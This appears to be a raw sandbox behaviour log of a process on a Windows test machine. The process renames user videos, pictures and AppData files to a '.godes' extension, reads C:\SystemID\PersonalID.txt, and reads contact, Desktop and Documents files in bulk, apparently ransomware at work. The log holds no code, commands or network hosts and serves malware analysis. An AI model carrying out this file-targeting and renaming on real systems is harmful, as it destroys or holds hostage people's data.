Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\USkdPbJMi5.swf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\USkdPbJMi5.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nhszPrwAyFP3\nIoWGznt2.swf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nhszPrwAyFP3\nIoWGznt2.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nhszPrwAyFP3\OJ7g4MMeWuj05DP.swf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nhszPrwAyFP3\OJ7g4MMeWuj05DP.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\1NyKTTnONVZsk.avi.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\1NyKTTnONVZsk.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\DzCCnOnzxDqfuj.mp4.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\DzCCnOnzxDqfuj.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\jsWtpdCwPYsyb9M.mp4.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\jsWtpdCwPYsyb9M.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\lFpYY8gUsJM4.swf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\lFpYY8gUsJM4.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\sN0C0aYPZzpc_DWHdG_S.swf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\sN0C0aYPZzpc_DWHdG_S.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\V99IOj.flv.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\V99IOj.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\ci6IimcnO8zr.mp4.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\ci6IimcnO8zr.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\Ik6r7vA49Vf_2LVqLE.flv.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\Ik6r7vA49Vf_2LVqLE.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\MLRf.mp4.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\MLRf.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\NjbUt_t.mp4.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\NjbUt_t.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\r5kMtufRwXsgtBq.swf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\r5kMtufRwXsgtBq.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\LnHpzG.gif.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\LnHpzG.gif True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\7iohC33skm1MLtj_zsU.bmp.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\7iohC33skm1MLtj_zsU.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\7zAHSAO8Qhdnj4k.png.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\7zAHSAO8Qhdnj4k.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\aW1PsgN2xsPJR.gif.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\aW1PsgN2xsPJR.gif True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\SG-TcXI2gXzZiahbe.bmp.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\SG-TcXI2gXzZiahbe.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\u8 nslHY.gif.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\u8 nslHY.gif True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.msi.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.msi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\Deployment\deployment.properties.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\Deployment\deployment.properties True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\Data1.cab.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\Data1.cab True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\jre1.7.0_45.msi.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\jre1.7.0_45.msi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\6rXGcCpaY5U-.png.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\6rXGcCpaY5U-.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\befSSIGEkkRUG.png.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\befSSIGEkkRUG.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\rzr43Df_s8poAvL8Y1F.jpg.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\rzr43Df_s8poAvL8Y1F.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\3HBQ5DQDTXX2Dst.bmp.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\3HBQ5DQDTXX2Dst.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\4bEPE_RVfAAsyMzt6.bmp.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\4bEPE_RVfAAsyMzt6.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\9uanRu7vegqQifTY.jpg.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\9uanRu7vegqQifTY.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\VqBAzwGqo.bmp.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\VqBAzwGqo.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\Ti8zEuhb9G6\SqhwCUV_7QQ.png.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\Ti8zEuhb9G6\SqhwCUV_7QQ.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\Ti8zEuhb9G6\ydXSSVPNKJrpO.gif.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\Ti8zEuhb9G6\ydXSSVPNKJrpO.gif True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\36USA68T\imagesrv.adition[1].xml.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\36USA68T\imagesrv.adition[1].xml True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\3O75JDME\www.google[1].xml.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\3O75JDME\www.google[1].xml True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\VGMTOI09\www.msn[1].xml.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\VGMTOI09\www.msn[1].xml True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\CS68tY4DDQ.bmp.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\CS68tY4DDQ.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\f5IF7l Fg-1E1w\ZgtF5NqrWfjyLW0T3.jpg.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\f5IF7l Fg-1E1w\ZgtF5NqrWfjyLW0T3.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\f5IF7l Fg-1E1w\ZIdWI VbebKgRLmaFag.jpg.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\f5IF7l Fg-1E1w\ZIdWI VbebKgRLmaFag.jpg True 1
Fn
Read C:\SystemID\PersonalID.txt size = 4096, size_out = 42 True 1
Fn
Data
Read C:\SystemID\PersonalID.txt size = 4096, size_out = 0 True 1
Fn
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact size = 153605, size_out = 1178 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact size = 153605, size_out = 68382 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact size = 153605, size_out = 1171 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact size = 153605, size_out = 1177 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact size = 153605, size_out = 1174 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact size = 153605, size_out = 1172 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\-args_Zs.swf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\-args_Zs.swf size = 153605, size_out = 12935 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6E-An34Wc.pps size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6E-An34Wc.pps size = 153605, size_out = 19849 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6SGcgdd.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6SGcgdd.wav size = 153605, size_out = 51891 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\7SFmX9n.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\7SFmX9n.mp3 size = 153605, size_out = 60149 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9fAUwhZz7XQ47.flv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9fAUwhZz7XQ47.flv size = 153605, size_out = 6777 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\al9QtC.gif size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\al9QtC.gif size = 153605, size_out = 33803 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\chaznO Q_Ziy0yX2s.ots size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\chaznO Q_Ziy0yX2s.ots size = 153605, size_out = 25526 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe size = 153605, size_out = 153605 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Dnuc8.swf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Dnuc8.swf size = 153605, size_out = 87852 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\E_g7Iz0.flv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\E_g7Iz0.flv size = 153605, size_out = 95482 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\g-yKu99NgX3E1avh.flv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\g-yKu99NgX3E1avh.flv size = 153605, size_out = 8115 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\gHQF.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\gHQF.mp4 size = 153605, size_out = 72371 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\GL6BHNKrZbqTT.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\GL6BHNKrZbqTT.mp3 size = 153605, size_out = 77911 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\JIZ4scK0VOvc.jpg size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\JIZ4scK0VOvc.jpg size = 153605, size_out = 51558 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k1dd.gif size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k1dd.gif size = 153605, size_out = 21273 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\M3MLVH7xcPc.jpg size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\M3MLVH7xcPc.jpg size = 153605, size_out = 101712 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nbzD8p.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nbzD8p.wav size = 153605, size_out = 11935 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\OQQNDY6qNZHsM.flv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\OQQNDY6qNZHsM.flv size = 153605, size_out = 44063 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ote7kPgqRa 0Oya j.avi size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ote7kPgqRa 0Oya j.avi size = 153605, size_out = 4696 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\PnL6Zh.flv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\PnL6Zh.flv size = 153605, size_out = 79884 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rIBC47zYWHDhfd7P7Cw0.png size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rIBC47zYWHDhfd7P7Cw0.png size = 153605, size_out = 99413 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\RrZY-uYtP04ki0fgCu.rtf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\RrZY-uYtP04ki0fgCu.rtf size = 153605, size_out = 7644 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\RWHWfhMg5DcKSbU8_U.bmp size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\RWHWfhMg5DcKSbU8_U.bmp size = 153605, size_out = 70075 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\veEwU3WXHMSpQmMMV.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\veEwU3WXHMSpQmMMV.mp4 size = 153605, size_out = 61211 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Z6w5rSJNmosnOqNY.png size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Z6w5rSJNmosnOqNY.png size = 153605, size_out = 42094 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ze0Y.avi size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ze0Y.avi size = 153605, size_out = 3411 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\-gxq8.pptx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\-gxq8.pptx size = 153605, size_out = 72130 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\81kerGqg6_j2b6.pptx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\81kerGqg6_j2b6.pptx size = 153605, size_out = 9434 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\95fISoK jESPo8EvK8TF.docx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\95fISoK jESPo8EvK8TF.docx size = 153605, size_out = 38181 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\cv2QjF4C3ccq--VP.xlsx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\cv2QjF4C3ccq--VP.xlsx size = 153605, size_out = 13215 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\DavXsI9enkQSR.pptx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\DavXsI9enkQSR.pptx size = 153605, size_out = 97432 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ilqiF.odp size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ilqiF.odp size = 153605, size_out = 18828 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\jdj STUTpip.ots size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\jdj STUTpip.ots size = 153605, size_out = 100755 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\j_udvQCV.xlsx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\j_udvQCV.xlsx size = 153605, size_out = 7016 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kei5.docx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kei5.docx size = 153605, size_out = 23957 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kX2tA98.odp size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kX2tA98.odp size = 153605, size_out = 100216 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\L7nPtbAUFXsB.xlsx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\L7nPtbAUFXsB.xlsx size = 153605, size_out = 4748 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\NkSC620KY1G.xlsx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\NkSC620KY1G.xlsx size = 153605, size_out = 39647 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OwRe9Z9bAXQhesUnEazF.doc size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OwRe9Z9bAXQhesUnEazF.doc size = 153605, size_out = 81679 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\pKUj8876P.docx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\pKUj8876P.docx size = 153605, size_out = 21952 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\PxpzY_JBUc8.ppt size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\PxpzY_JBUc8.ppt size = 153605, size_out = 67101 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\RWDHO0IzJxGN9pWG.pptx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\RWDHO0IzJxGN9pWG.pptx size = 153605, size_out = 84648 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ToYMawRVB8dOMOTUs.docx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ToYMawRVB8dOMOTUs.docx size = 153605, size_out = 100130 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U3qy.pptx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U3qy.pptx size = 153605, size_out = 56478 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U9 Gu49ZvH33.docx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U9 Gu49ZvH33.docx size = 153605, size_out = 91812 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\VW61dc17V6x.pdf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\VW61dc17V6x.pdf size = 153605, size_out = 35387 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\wKt8pNbMIBpNV1.docx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\wKt8pNbMIBpNV1.docx size = 153605, size_out = 48648 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\x-dfNPgeB.pptx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\x-dfNPgeB.pptx size = 153605, size_out = 60839 True 1
Fn
Data
